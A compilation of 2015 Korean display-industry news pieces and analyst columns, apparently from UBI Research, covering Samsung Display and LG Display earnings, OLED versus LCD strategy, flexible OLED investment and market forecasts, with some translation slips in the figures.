[2015 Q2 Korean Display Total Business Profit Analysis]

Connecting the high points of the total of 2 companies’ business profit reveal that the business value is worsening as the trend moves downward. This also is much contributed to Samsung Display’s business profit decrease.

0812 graph4

 

 

[Samsung Display and LG Display Sales Analysis]

According to the earnings announcement of both companies, Samsung Display and LG Display recorded sales of approximately US$ 5,500,000,000 and US$ 5,600,000,000 respectively. LG Display is maintaining higher sales results compared to Samsung Display for the past 5 quarters. Each company’s QoQ showed to be -4% (LGD) and -3% (SDC) and YoY to be 12% (LGD) and 5% (SDC). The simultaneous decrease of QoQ sales of both companies demonstrates that the Q3 sales could also fall.

 

0812 graph5

 

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[Samsung Display and LG Display’s Competitiveness Analysis]

Looking at the profit/sales graph of Samsung Display and LG Display, it is apparent that Samsung Display showed superior competitiveness until 2013 Q3, but since then LG Display averaged higher.

그래프7

 

 

 

[Conclusion]

The reason for the downward trend of Korean display industry is analyzed to be the fall of display panel price due to the Chinse display companies’ mass production through aggressive investment. Particularly, in or after 2017 when China’s BOE is estimated to begin Gen10.5 LCD line, LCD panel price will fall even more rapidly. This is forecast to lead Korean LCD industry to suddenly lose competitiveness. For Korean display companies that have immense LCD sales to show positive growth, it is time to expand OLED business that can be differentiated from Chinse display companies.

 

The only solutions for Korean display industry are OLED investment in large scale and conversion of LCD line to OLED line. At the time of BOE’s Gen10.5 line operation, Korean display companies also should respond with Gen6 flexible OLED investment and early establishment of Gen8 OLED line.

 

[Analyst Column] LG Display Q2 Earnings Analysis and Signification of Flexible OLED Investment

Dr Choong Hoon Yi, UBI Research Chief Analyst, ubiyi@ubiresearch.co.kr

 

On July 23, LG Display announced its earnings results at LG Twin Towers in Yeouido, South Korea. LG Display reported that their Q2 sales recorded approximately US$ 5,700,000,000 with business profit of approximately US$ 420,000,000.

 

Although sales fell by approximately US$ 260,000,000 (-5%) compared to the previous quarter, it was an increase of US$ 620,000,000 (12%) compared to the year before. Business profit showed approximately US$ 210,000,000 decrease (-34%) QoQ, and YoY US$ 280,000,000 increase (206%).

 

0805 graph1

 

LG Display’s sales and business profit of Y/Yo (green line) showed U shape of trend of growth in previous 5 quarters but this quarter recorded a fall. It is analyzed that the growth could slow down from 2H 2015.

 

The drop of the LG display’s Y/Yo growth in this 2Q is much attributed to smartphone market’s slow down and TV market reduction. It is also estimated the panel price reduction due to Chinese display companies’ aggressive investment is reflected.

 

0805 graph2

 

 

For LG Display to stop the degrowth, mass production of products that are differentiated from competition, is urgently needed, away from LCD panel that is LGD’s current major business.

 

On the day, LG Display’s management announced approx. US$ 900,000,000 investment for Gen6 flexible OLED line in order to lead flexible OLED market. The investment location is Gumi factory. Investment location is Gumi factory with the initial investment of 7.5K. It is expected world’s second flexible OLED exclusive line will established following Samsung Display. It is anticipated that up to 15K will be established for this line.

 

Considering last year’s LG Display’s business profit was approx. US$ 1,100,000,000, the US$ 900,000,000 flexible OLED investment is very large. The investment decision must have been very difficult. However, the reasons for LG Display’s drastic flexible OLED exclusive line investment are because companies that produce LTPS-TFT LCD (LGD’s existing main market) is increasing, and because Samsung Display is already monopolizing rigid OLED market and therefore difficult to secure market share.

 

LG Display’s CFO Kim Sang-don explained that flexible OLED Gen6 line investment was decided at the board of directors meeting on July 22, and was made official on the morning of July 23. Kim added that the decision was reached so that LG Display can lead the OLED business in terms of technology and to occupy initial market in foldable and rollable technologies. He also commented the monthly capa. of the flexible OLED line will be 7.5K.

 

Regarding large area OLED panel, it was emphasized that this year’s panel production target remains to be 600,000 units and 1,500,000 units next year, same as the ones announced during the Q1 earnings results presentation. It was also revealed that 34K, approximately 9K higher than current capa., will be in operation in 2016. Addressing the concern of oversupply of next year’s 1,500,000 units while the OLD TV market is still small, LG Display suggested the solution of increasing the demand by active promotion from the second half of this year.

 

 

 

Despite the fall of mid to large size panels’ sales price, from the enlargement of sets and AIT technology applied sales performance, the business profit of approximately US$ 4,000 million was recorded. This is a 34% decrease compared to the previous quarter but a 199% increase from the same period in 2014. LG Display estimates that the sales will increase in the third quarter due to seasonal factors and panel’s enlargement trend.

A Place Where the Latest OLED Technology Trend Can Be Seen In One Glance UBI Research Hosts 2015 OLED Key Technology Seminar

A seminar where latest technology of next generation display, OLED (Organic Light Emitting Diode), can be easily understood will take place. UBI Research, a research company specializing in OLED (http://www.ubiresearch.co.kr, president: Dr. Choong Hoon Yii), revealed that it will hold 2015 OLED Key Technology Seminar in COEX (Samseong-dong, Gangnam-gu, Seoul, South Korea) on 27 Aug.

This seminar will discuss latest issues in OLED industry such as processes in flexible OLED, encapsulation, oxide-TFT, blue phosphorous emitting material, and solution process, and focus on technology development and its future.

Encapsulation, which decides OLED panel’s final yield and lifetime, is an important process that determines exterior design in flexible OLED and large size OLED panel. It is also sensitive to light characteristics in surface light structure. At the 2015 OLED Key Technology Seminar, Dr. Choong Hoon Yi (president of UBI Research) is scheduled to introduce, through process and material analysis, essential technology needed for OLED panel to continue its growth and encapsulation technology trends.

At this seminar, Dr. Nam Sung Cho of ETRI (Electronics and Telecommunications Research Institute) will give a presentation on display technology that utilizes white OLED technology that is receiving much interest by Korean display market. He will detail white OLED technology’s present and future from lighting to large size TV.

Professor Sung Kyu Park of Chung-Ang University, will introduce oxide material that is in spotlight as display and next generation wearable device. He will also talk about internationally much discussed related technology trends and future progress.

Further presentation topics by OLED top experts include:

– AMOLED panel technology trends analysis (Hyun Jun Jang, senior researcher of UBI Research)

– Oxide-TFT technology status (Professor Ga-Won Lee, Chungnam National University)

– Solution process and vacuum evaporation OLED material’s status and forecast (Professor Sung-Ho Jin, Pusan National University)

– High efficiency blue phosphorous emitting material development trend (Professor Jun Yeob Lee, Sungkyunkwan University)

– Flexible OLED technology trend

UBI Research holds OLED Key Technology Seminars every year from 2011 and provides place for networking and sharing of information. Seminar registration can be completed through UBI Research website (www.ubiresearch.co.kr).

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[Analyst Column] Korean TV Industry, Where to Go?

Dr Choong Hoon Yi, UBI Research Chief Analyst, ubiyi@ubiresearch.co.kr

 

 

Korean TV industry, according to recent reports by media, is showing a red light not being able to escape the deficit structure.

 

Samsung Electronics and LG Electronics possess high market share in costly premium TV market. However, in 30inch grade market, the two companies struggle against economically priced sets. In order to maintain sales, Samsung Elec. and LG Elec. are managing diverse product portfolio but business profit keep falling. Due to this, LCD panel stocks produced by Samsung Display and LG Display are steadily increasing.

 

LCD panel business is sinking into a pit.

 

What is the reason that Korea’s LCD TV and LCD business values can only become worse?

 

This can be forecast from looking at Japan’s TV and LCD business. Until the early 2000s, Japan was one of the leaders in electronics. However, Japan’s TV business is gradually dying out. Japan’s leading companies, Sony and Panasonic’s TV business began to be deteriorate because of Korean mid-low price products. In succession, Sony ended up spinning off the TV business, and Panasonic stopped TV business other than for domestic supply. Korean TV companies began to dominate the market. However, only a few years since then, Korean TV industry is losing commercial value, pushed aside by mid-low price products manufactured by China and others.

 

Second is display investment. As Japanese TV industry began to crumble, Japanese display companies had no choice but to stop the investment. The companies could not see a way to make profit through investment even if TV market grew as client companies’ panel purchasing power fell. Korea is the same. Samsung Elec. and LG Elec.’s TV business profitability deterioration led toward Samsung Display and LG Display’s halting the investment. On the other hand, Chinse display companies began Gen10.5 line investment. TV industry relies on assembly business and business network and therefore initial investment cost is low. In comparison, display industry is high risk as it requires large scale investment from early stages. If the business profit falls without investment cost return, companies face great loss and business closure is also not easy.

 

The third reason that Japanese TV companies are dying out is because they could not produce premium TV. Sony, which lost its competitiveness in LCD TV, tried to strengthen its market leadership through 4K TV. However, the brand value was already down and with the lack of marketing value, Sony easily gave up the market to companies in pursuit such as Samsung Elec. and LG Elec. LCD TV already had no difference in quality whether it was produced by a Korean or Japanese company, and brand value order had switched. LCD TV quality produced by Chinese companies is already reached the top. They are no longer companies who produce cheaper knockoffs. Furthermore, LCD panel production technology of Korea, Japan, Taiwan, and China can now be deemed equal.

 

The final reason that stops Japanese TV business from securing market is that they failed to suggest differentiation point in premium TV. Fundamentally, differentiation is not possible for LCD TV. The biggest differentiation factors in the current TV market are picture quality and design. Any company can produce thin LCD TV and curved LCD TV. Panel size, resolution, and QD-LED using color gamut that LCD can actualize can no longer be differentiated technology. The difference of LCD panel and TV manufacturing technology between Korea, Japan, Taiwan, and China is already within a year. No matter what kind of product is released, market control has one year of expiration period. Considering the promotion period required in the market is approximately 6 months, the period where profit can be made is shortened even further.

 

So what is the solution for the Korean TV industry to survive?

 

As I have mentioned dozens of times for several years, what is left is OLED TV. What LCD cannot do in terms of picture quality and design, with OLED it is possible. Therefore, only the non-LCD products can enjoy the key factors of differentiation in premium TV market.

 

Existing premium TV is IPTV, a market that Japanese TV companies have been pursuing since early 2000s. Internet connection is possible through TV and allows for exchange of information in both directions. The basic concept of IPTV is watching TV while searching the information on TV via internet. But how useful is this concept at present? The usefulness of IPTV is becoming increasingly low as smartphone is used to search information, use the internet, and even watch TV. With no reason to use the internet via TV, TV companies should seriously consider whether TV with high white brightness is really needed. Rather than white TV with high brightness, it is time to place more importance in the functions of the TV itself. TV screen only uses 20-30% of full white brightness. Films, with outdoor shooting, falls under 20%, and for contents shot at night, black is more important.

 

Considering ‘blackness’ and design, anyone can find where the solution lies. If the foolish notion of trying to make OLED as bright as LCD is abandoned, there is hope.

 

LG OLED UHD TV, SID 2015

LG OLED UHD TV, SID 2015

 

Samsung OLED UHD TV, IFA 2013

Samsung OLED UHD TV, IFA 2013

LG Display Targets Plastic OLED

With the active release of Apple’s smartwatch within Korean market, the interest in LG Display’s plastic OLED business is suddenly increasing.

 

LG Display began OLED development at the similar time as Samsung Display, but misjudgments on OLED potential and marketability led to the late market entrance and folding of the rigid OLED business. With the plastic OLED business, LG Display is matching the progress of the competitor, Samsung Display, and speeding up the development and commercialization.

 

Already, LG Display supplied plastic OLED for LG Elec.’s G Flex that went on sale in November 2013. Although the panel was 6inch, as the resolution was only at HD level, there was criticism that compared to Samsung Elec.’s FHD OLED which was released in the same period, the resolution fell short.

 

This year, LG Display supplemented the resolution and succeeded in FHD plastic OLED production. The panel is applied to G Flex 2, and it is also supplied to LG Elec.’s G Watch and Urbane.

 

For Samsung Elec., they intensively applied flexible OLED to the flagship smartphone model Galaxy S6 and intensified marketing; in comparison to Samsung’s smartphone market control, smartwatch’s is weaker. Accordingly, Samsung Display is mainly producing 55inch flexible OLED.

 

However, in contrast to the competitor, LG Display is using different business strategy for plastic OLED business. Rather than plastic OLED for smartphone, which has weak market control, they are focusing on small plastic OLED for smartwatch that is already receiving positive response.

 

Following the uproar within the smartwatch market, created by Samsung Elec.’s greatest rival Apple, LG Display, Apple’s supplier of plastic panel, is making all effort in panel production. Additionally, as LG Display has already secured a position as Apple’s next smartwatch plastic OLED supplier, although the capa. is lower than Samsung Display’s, the line is actively operational.

 

It is also estimated that LG Display will decide soon on Gen6 plastic OLED line investment to promote closer relationship with Apple. Apple is already seriously considering flexible (plastic) OLED for next iPhone series, and it is analyzed that they requested LG Display for Gen6 line investment for stable product supply.

 

Although LG Display does not have as high volume of clientele as Samsung Display, it is anticipated that they will establish a bridgehead in OLED panel industry through forming mutually beneficial relationship with a giant company called Apple.

LG Display’s Flexible Automotive Display, SID 2015

LG Urbane, WIS 2015

Apple’s Next iPhone, Can Flexible OLED Be Applied?

Smartphone’s hardware performance has improved as much as possible and can no longer be the differential point within the market. Following this, Samsung’s Galaxy Note 4 Edge and S6 Edge, and LG’s G-flex series are differentiating themselves from existing products through flexible (plastic) AMOLED panel applied new designs and functions. Particularly, Galaxy S6 Edge’s higher than anticipated demand means that the ratio between total Galaxy S6 and S6 Edge demand was expected to be approximately between 8:2 and 7:3, but at present it is estimated to be 5:5. To meet this demand, Samsung Display began actively operating A3 line, and carried out investment to convert A2 rigid line to flexible line.

As interest in flexible OLED is rising within the next generation smartphone market, there is much talk that Apple will also apply flexible OLED to the next product. UBI Research’s Flexible OLED Annual Report, published on 18 June, analyzed Apple’s flexible OLED application potential and forecast scenario.

According to the Flexible OLED Annual Report, other than Samsung Display, LG Display is the only company with the technology to mass produce flexible AMOLED. Japan Display and AUO also possess flexible AMOLED production technology and with investment, mass production is analyzed to be possible. Therefore, for the Apple to apply flexible OLED to the iPhone series to be released in 2017, the Gen 6 flexible AMOLED line investment of LG Display, Japan Display, or AUO has to be carried out within 2015. However, as Japan Display and AUO’s mass production technology has not been verified, depending on the currently mass producing LG Display’s Gen 6 line investment timing the flexible OLED applied iPhone release date will be decided.

As the results of analyzing future model’s shipment based on the analysis of iPhone series’ sales progress so far, to meet the demand for Apple’s flexible AMOLED applied model’s shipment in 2020, approximately 170K monthly capa. by Gen 6 (considering operation and yield rate) is needed. Considering the recent trend of 20K capa. per 1 line, 8 or 9 flexible AMOLED line are required, and Apple’s future flexible AMOLED line investment is estimated to be actively carried out.

On the other hand, flexible AMOLED market is forecast to grow at 57% CAGR from 2016, and show approximately US$ 35,000 million revenue in 2020.Flexible AMOLED Panel Market Forecast

[Analyst Column] The Reason Samsung Must Undertake OLED TV and Technology Course Analysis

Yi Choong Hoon Yi, Chief Analysis / UBI Research

In 2014, as the revenue and business profit fluctuated greatly per quarter, Samsung Display carried out management evaluation with BCG. One of the conclusions is known to be Gen10 LCD investment together with large area OLED for TV investment.

Gen10 LCD line investment is seen to be a countermeasure against Chinese display companies that continue their aggressive investment and display industry that is expanding in information society. It is analyzed that the large area OLED line investment is to prepare for the OLED TV market growth which has superior picture quality compared to LCD and to control their biggest rival company LG’s WRGB OLED TV market expansion which is maintaining their investment.

These two plans are obvious conclusions that any display expert can draw.

However, any experts who know Korea’s display would recognize that Gen10 LCD line investment is not suitable for Korea. This is because even if Korea expands the market share by investing in Gen10 LCD line they will still be weak against Chinese display companies in price. Korean display companies only sell high quality goods and 90~95% is the limit of yield rate. In comparison, in China the size of the population who can easily purchase expensive high quality TV and the consumers who demands lower priced goods are both huge; faulty display panels have a place in Chinese market. Chinese display companies can also sell lower quality panels through close relationship with lower price TV production companies with factories in China. Theoretically, this can lower the panel price as yield rate close to 100% can be achieved. Furthermore, support from Chinese government and cheap factory construction cost increases price competitiveness of Chinese display companies even more.

The reason Japanese display companies had no choice but to give up LCD market to Korean display companies was also because they could not continue LCD investment with their difficulty in price competitiveness. Although Sharp vigorously continued investing until Gen10 line, the result was decision to sell small size LCD line for mobile device due to the accumulated deficit.

If Samsung Display decides on Gen10 investment, it is highly likely that they will follow similar path to Sharp’s, increasing the risks rather than sales. It is more effective for Samsung Electronics to lead TV industry using Chinese companies’ cheap LCD panel with good definition rather than producing TV using expensive Korean LCD panels with good picture quality. The fact that there are no comments regarding Gen10 investment within Samsung Display can be interpreted that there are experts with good understanding of display industry.

Unlike the current Samsung Elec. business strategy where the focus is exclusively on quantum dot technology applied LCD SUHD TV, the large size line investment decision for OLED TV production is a conclusion that requires change in Samsung’s business strategy. In CES 2015, Samsung Elec. exhibited SUHD TV and OLED TV in comparison and highlighted LCD TV’s superiority in picture quality. If SUHD TV is more competitive than OLED TV, it is not worth investing any further.

However, the story is different in smart phone market. This is because Samsung Elec.’s flagship model Galaxy series all use AMOLED. One of the differentiation strategies that Samsung Elec. is using when selling Galaxy series is OLED. Wireless department of Samsung Elec. expanded the market share to 20% using the smart phone with the word ‘OLED’ attached. Most recently, flexible OLED applied Galaxy S6 Edge is hugely popular.

Samsung Elec.’s smart phone business department, IM, is recording twice the amount of revenue of VD business department that produces TV. Therefore that VD department’s marketing method of emphasizing OLED has worse definition than LCD is contradictory since IM department is marketing their product by valuing the superior picture quality of OLED over LCD. If QD-LCD is good then obviously the panel for Galaxy S series also has to be replaced to QD-LCD. Insisting that OLED has better picture quality in smart phone and LCD is superior in TV is mutually incompatible. This kind of dual behavior could result in Samsung Elec.’s rationales to be considered as ones by the boy who cried wolf. For the future expansion of Samsung Elec.’s smart phone market, VD department also has to produce OLED TV and establish the equation of ‘Samsung Elec. = OLED’ in order to complete the business strategy.

This is the reason Samsung must undertake OLED TV.

Nevertheless, problems are numerous. OLED TV produced by Samsung Elec. in 2013 was deemed to be marginally inferior in terms of completeness and picture quality compared to LG Electronics’ OLED TV by UBI Research’s Picture Quality Analysis Report and an article in OLEDNET. Since then Samsung Elec. halted OLED TV production practically acknowledging that their own OLED TV could not compete against LG Elec.’s product. The reason for this could be attributed to TV’s lower completeness but the fundamental reason lied in the fact that Samsung Display’s RBG OLED panel production method and characteristics could not compete against LG Display’s WRGB OLED in picture quality and competitiveness.

RGB OLED for Large area uses fine metal mask similar to small size AMOLED, and therefore OLED panel production is not possible using Gen8 mother glass and has to use evaporator for Gen8 glass cut into 6. As LG Display’s WRGB OLED manufactures pixels using white OLED with color filter fine metal mask is not required which allows for OLED panel production in Gen8 without cutting. Compared to the fact the rival company LG Display is using 1 Gen8 evaporator, Samsung Display requires 6 evaporators. The increased number of evaporators obviously leads to an increase in investment cost and the panel production cost cannot but be higher than LG Display.

Even in TFT production cost, Samsung Display is weaker in comparison to LG Display. LTPS-TFT process used by Samsung Display requires 8~9 mask processes but LG Display is using oxide TFT which needs 4~5. Therefore, it has an advantage of minimizing the investment cost when LCD line is transformed to OLED line. For Samsung Display to transform existing LCD line to OLED line, they have to add a huge amount of capital to the LTPS-TFT production. If they transform the existing 200K LCD factory to OLED line, the capa. also decreases to 90K, but LG Display can maintain the 200K volume without any loss. When OLED is produced transforming the existing LCD line, LG Display does not need additional factory construction but it is calculated that Samsung Display has to build another factory of equal size.

In encapsulation process, LG Display, which uses hybrid encapsulation technology, remains advantageous. This completes the OLED panel production by attaching adhesive film laminated metal foil on top of passivation which is a moisture proof structure made with 2~3 layers of passivation after OLED device production. The OLED panel for TV that was mass produced by Samsung Display in 2013 also used hybrid encapsulation structure. The difference was that the top substrate was glass. However, as Samsung Display was accused by LG Display for appropriating their encapsulation technology, Samsung is currently developing dam & fill method of hybrid encapsulation technology. Samsung Display’s dam & fill hybrid encapsulation technology shares the part of forming passivation layer on top of device with LG Display. However, after that Samsung Display applies curing agent using ODF (one drop filling) method to the dam made with organic materials on the outside of the panel. They then attach the glass substrate and harden. Although it would be better if the dam production could occur simultaneously as PDL (pixel define layer) process, generally as PDL layer is on top of TFT and dam structure is on the outside of the panel, height difference could develop leading to difficulty in upper substrate attachment. Furthermore, if the dam height is lower than PDL’s, it is unfavorable for the curved design which is the latest TV trend. Accordingly, if the dam formation process ensues after passivation is complete, further mask process is necessary which increases cost due to the added equipment investment. Samsung Display’s encapsulation process is a continuous operation whereas LG Display’s process can attach the coring film to the metal foil and send the selected high quality products to attachment process; for yield rate management, LG Display is better suited. Dam & fill method has to fill the liquid curing resin first before the attachment of upper substrate. This means that several hundreds of um thickness of glass substrate attachment is more appropriate rather than attaching metal foil of dozens of um thickness. In that case, metal foil cannot be used and additional heat sink materials are required. In encapsulation process, LG Display technology is better for mass production and has an advantage of being able to lower the production cost.

In conclusion, for Samsung Display to re-enter OLED panel for TV industry, rather than using their existing technology of LTPS-TFT, RGB OLED, and damn & fill encapsulation, it is better to use the technology being used by LG Display such as oxide TFT structure, WRGB OLED structure and lamination method of encapsulation structure that uses adhesive film.

To challenge large area OLED panel industry again, Samsung Display placed the existing large area OLED team under research lab led by their top OLED expert SungChul Kim. Although there has been no official discussion regarding OLED panel production technology directional course, using the same technology as LG Display’s would be advisable in order to succeed.

In terms of resources, Samsung Display, with their many years of OLED panel mass production experience and several thousands of top quality OLED engineers, is superior compared to LG Display.

Only the patents and decision making processes are left.

[Finetech Japan 2015] The Third Display Revolution, to be Accomplished by OLED?

Speaking in a keynote session in Finetech Japan 2015 which opened on April 8, LG Display’s Vice President Yoon Sooyoung reported that “the first revolution in TV market was transformation to color from black and white, the second revolution was from CRT to flat panel display such as PDP and LCD, and the third revolution will be accomplished by OLED”.

 

Yoon also spoke that “until now the market was formed centering on investment by display companies, but in future the market will be created by differentiation and new application” and added “the key focus will be freedom in design and color quality such as rich color scheme” and that “OLED is the most suitable display for this”.

 

The differentiation mentioned by Yoon is OLED’s advantage in flexible and transparent realization as substrate can be formed using diverse materials compared to other displays. OLED is also superior in color gamut control through achievement of perfect black. Yoon emphasized the OLED is better suited for next generation display compared to LCD equipped with new technology; “LCD also achieved color gamut exceeding OLED through technology such as QD, but this is during full white, and in mid-range grayscale, color control is difficult in BLU driven LCD. However, OLED can perfectly express black using infinite contrast range and perfect color control is possible even in lower grayscale”.

 

On the basis of these advantages, LG Display is aiming for shipment of 600 thousand units of OLED panel for TV this year, and 1.4 million units in 2016, leading the launch of large area OLED TV market. LG Display is striving to bring the next generation of display market toward OLED by active mass production of plastic OLED panel. Samsung Display is estimated to further vitalize OLED market with their bold A3 mass production, and Chinese companies’ mass production will also do their part in OLED’s leadership formation in next generation display market.

Vice President Yoon Sooyoung, Finetech Japan 2015

By Yu Jin Hong, reporter@olednet.co.kr

A Place for OLED Unification

A place for OLED unification was held for Korea’s OLED industry which used to be divided. The two sides of Korean OLED industry, Samsung Display and LG Display, both attended the 1st OLED KOREA Conference, examining what lies ahead for OLED. This marks the beginning of future OLED display industry where worldwide OLED industry and Korean OLED industry are united.

 

The division within Korean OLED industry started when LG Display began to produce 55 inch OLED panel when Samsung was the only company that manufactured OLED panel. They each accused the other company of copying their technology and reported to the prosecution and thus the division was born. Last week, they both announced the end of legal disputes. However, although the trial for Samsung’s technology leakage has ended, the prosecution for LG’s technology is continuing. As this is a criminal case, the prosecution has to withdraw charges before it concludes.

 

In order to end the division within the Korean industry that began from Samsung and LG’s disputes, and to bring together worldwide OLED industry, UBI Research held the OLED KOREA Conference (April 2). 16 OLED experts from Korea, Japan, and China, including from Samsung Display and LG Display, forecast the future of OLED industry and discussed how OLED industry could succeed.

 

After the conference, approximately 40 industry-academic professionals attended VIP party and commented that the success of the conference was due to Samsung’s presence. Chang Hoon Lee who attended both OLED KOREA Conference and VIP party, and spoke with key speakers mentioned that Samsung will continue to be an axis for OLED industry and lead Korean and international OLED industry. The experts who attended the VIP event expressed hope that future OLED KOREA Conference would aid in the process of Korea, which is OLED device production oriented, becoming the mecca for OLED industry.

By Da Rae Kim, reporter@olednet.co.kr

An Advanced Peek into OLED Korea

UBI Research, a market research organization specializing in OLED, is organizing Korea’s first OLED international business conference in the Korea Science and Technology Center in Gangnam on April 2. Despite the fact that Korea is leading OLED industry, an international business conference has never been held until now. OLED panel has been produced and sold but there has been no international OLED industry network centering on Korea.

In order to add software for the continued growth and development of hardware focused Korean OLED panel industry, UBI Research is gathering OLED experts from all over the world in one place.

Being held for the first time this year, OLED Korea’s core key word is “Future of OLED”. Dr. Ki-Yong Lee, the vice president of Samsung Display will give a keynote speech and analyze OLED’s past and present, which has been led by Samsung, and forecast its future. LG Display also has presentation ready regarding OLED TV’s future. As the only display company leading OLED TV business, there will be a talk on their position, and detailed introduction on what is to come. Visionox and Tianma are also introducing their OLED panel and technology that are being developed. Future OLED panel production technology trends can be understood from these 4 companies. Additionally, Japanese Analysis Atelier Corporation’s Dr. Hattori will introduce Japan’s OLED display and lighting OLED industry direction.

Dr. Choong Hoon Yi, president of UBI Research that is organizing OLED Korea, is expected to give a presentation on society that will transform along with OLED under the title of “The Future of OLED”. Based on his experience of planning and developing OLED project, a pioneer in Samsung SDI, and responsible for the beginning of current Samsung’s OLED business as well as 15 years of OLED market research and consultation, Yi will be speaking about how OLED will transform our society. Dr. Yi built OLED section within Korea Display Industry Association, led OLED standardization and cooperation between different businesses, and first developed hybrid encapsulation technology which is being used by LG Display for OLED TV mass production. With this OLED technological background, technology research, and expert knowledge on market forecast, Yi will present a course for OLED industry.

OLED Korea also has presentation by Korean and international equipment and material experts. Dr. Myungwoon Choi, a research director of YAS, who pioneered production of LG Display’s M2 line Gen 8 evaporator will reveal the core technology for the first time. Doosan’s Dr. Tae Hyung Kim who has been mobilizing OLED emitting material business for the past 10 years will give a presentation on OLED emitting material technology and trends. Within material sector, Dr. Chung-Seok Kang, vice president of KCRP (Kolon Industries) will speak on substrate material which is vital for future OLED market leading flexible OLED production. Furthermore, Dr. Tae-Won Kim, principal researcher in Korea Institute of Industrial Technology, will introduce purification technology. Dr. Kim independently developed technology that can efficiently produce OLED emitting material. Shinya Higashio of Japan’s Oswell, a company specializing in moisture proof technology, will discuss cutting edge equipment and technology that can measure moisture penetration.

ETRI, which first developed OLED luminous technology in Korea and moving the technology, will give a presentation regarding OLED lighting technology based on their experience. Dr. Jeongno Lee, who is developing OLED panel in Samsung SDI and leading Korean Display National Project, will introduce OLED R&D support situation and how much the current Korean government is interested in OLED industry. Dr. Lee is also a world class standardization expert who held a president position for International Organization for OLED Standardization.

Seoul National University’s Prof. Changhee Lee is expected to speak regarding QD technology which is estimated to be biggest rival technology of future OLED. Prof. Lee is the leading academic expert in OLED sector, and initiated OLED emitting material business in LG Chem, and Korea’s first expert in while OLED technology. Prof. Lee is also a world leading expert in OLED standardization. He established OLED branch within IEC, an international standards and conformity assessment body, and was its first chairperson. He also spent much effort so that Korea could become a leader in OLED technology industry.

OLED industry’s foremost expert in investment, Jung Hoon Chang, a senior analysis of Samsung Securities, is expected to talk about OLED industry’s competitiveness and market forecast. As Korea’s leading expert in various companies’ performance research and analysis in OLED industry, Jang will suggest investment direction for future OLED related industry.

OLED Emitting Material Market, To Grow into US$ 560 Million in 2015

According to ‘’OLED Emitting Material Annual Report’’ published by UBI Research on 13 March, OLED emitting material market of 2015 is forecast to grow into US$ 560 million, a 16% growth compared to 2014. The report analyzed that active operation of LG Display’s E4 (M2) line, and operation of Samsung Display’s A3 line, and an increase in operation rate by existing A1 and A2 lines are the main cause for the market growth. Additionally, due to the intense mass production start by the latecomers and expansion of large area OLED panel market, the OLED emitting material market is estimated to grow by 35% compound annual growth rate, and form approx. US$ 2,500 million market in 2020.

In terms of countries, Korea occupies the most of 2015 OLED emitting material market with its market share of 90% or higher. However, from 2017, with China’s bold mass production, China is expected to hold market share of over 20% or higher. Thus, emitting material companies are projected to target Chinese market.

AMOLED panel applied to Samsung Elec.’s Galaxy S6 and S6 Edge, which were revealed in MWC2015, utilized new supply chain and it is estimated these will be used for AMOLED panels of future products. Dow Chem.’s phosphorescent red host materials were chosen for the new supply chain.

<OLED Emitting Material Market Forecast Source: UBI Research><OLED Emitting Material Market Forecast Source: UBI Research>

Regarding this matter, the head of UBI Research Dr. Choong Hoon Yi will give an in-depth presentation titled ‘The Future of OLED’ discussing OLED emitting material market and OLED industry at the 1st OLED Korea Conference. The 1st OLED Korea Conference will be held in SC Convention in Gangnam, Seoul, South Korea on April 2.

AMOLED Panel Market, to Reach US$ 46 Billion by 2020

2014 was the year preparing a platform to develop the OLED industry in full scale.

 There was a prevalent doubt in the industry until 2014 concerning whether the OLED TV is able to break into the market or not. However, as LG Electronics successfully released the UHD OLED TV, the set manufactures were classified with the companies against LG and incapable of producing the OLED TV. Under this circumstance, the majority of TV set manufacturers including Samsung Electronics exhibited the Quantum dot (QD) BLU LCD TV at CES2015. The night view screen which was the exhibition concept only appeared on the OLED TV was employed on the QD LCD TV chasing the high contrast ratio just like the OLED TV.

In the display for a mobile device, the OLED succeeded in establishing an exclusive market with G Flex2 and Galaxy Note Edge with emphasis on the flexibility feature that LCD cannot even attempt to imitate.

According to the ‘’2015 OLED Display Annual Report’’ published by UBI Research on the 10th, the total revenue has decreased by 4% compared to the previous year due to the AMOLED panel shipments cut resulting from the low sales of Galaxy S5 in 2014.

 

Is the OLED industry already in crisis?

Though the OLED industry got wet with rain for a while in 2014, it will begin to solidify its place in 2015. Flexible OLED and TV are the alternatives.

UBI Research methodically analyzed and took a close look at the future of flexible OLED on the ‘’2015 OLED Display Annual Report’’. There are a number of display manufacturers developing products in view of that the rollable display is the final stage of a flexible display. But if the rollable display is to be applied on a mobile device, the cultural components are to go back to the analog age and in terms of technology, it may cause a heating problem as all parts excluding the display are concentrated on the body. For that reason, UBI Research prospected that the rollable product will be used on a large movable screen type display rather than on a mobile device.

150211_AMOLED Panel Market, to Reach US$ 46 Billion by 2020

 

Also the ‘’2015 OLED Display Annual Report” of UBI Research forecasts that the AMOLED panel market will grow at a CAGR of 30% reaching US$ 46 billion by 2020. Assuming the OLED panel for TV and tablet PC will take the sales share of 30% respectively in 2020, the report predicted that the key application for the OLED panel market will be a TV and a tablet PC following a smart phone.

The growth of AMOLED panel market is anticipated to accelerated after 2017 given that Chinese manufactures are also likely to invest in full scale between 2016 and 2017 to previse the Korea’s monopoly of AMOLED market.

150211_AMOLED Panel Market, to Reach US$ 46 Billion by 2020_그래프

 

<AMOLED Panel Market Prospect>

[CES2015] How far LCD TV will evolve?

LCD TV made another great innovation. It is the LED BLU using Quantum dot(QD) accomplishing an ultimate level of LCD TV picture quality that no one has imagined yet.

At CES2015, the TV-set companies including LG Electronics, Sony, Sharp, TCL, Haier, etc. revealed the QD-BLU LCD TV. Their color reproducibility had reached up to NTSV 110% due to QD-LED and the brightness and contrast range allowed a brilliant picture quality which was never available in the LCD panel as a result of HDR (high dynamic range) technology.

There were only a few exhibitions prese nting the night view of clear contrast range but at this CES 2015, Samsung Electronics demonstrated how far the LCD TV has improved by comparing the contrast ranges of the SUHD TV (up) and existing LCD TV.

150109_CES2015 LCDTV의 진화_1

 

In addition, the exterior design has changed completely different from the existing LCD TV in the curved and thin film shape under 10mm. Even the viewing angle of wide color LCD attained a level of spontaneous emission

 

How far LCD TV will evolve?

The answer was in this CES 2015.

It is the OLED TV.

150109_CES2015 LCDTV의 진화_2

LG Display is the only company in the world capable of producing OLED panel and at this moment, it is LG Electronics which has a capacity to mass-produce OLED TV.

The superiority of OLED panel’s color reproducibility, contrast range, response time, viewing angle, thickness, etc. over LCD was already attested in the smart phone Galaxy series. Therefore, the survival means for those TV manufactures which cannot produce OLED TV is to make LCD TV most similar to OLED TV as much as possible until they can supply a large quantity of OLED panel.

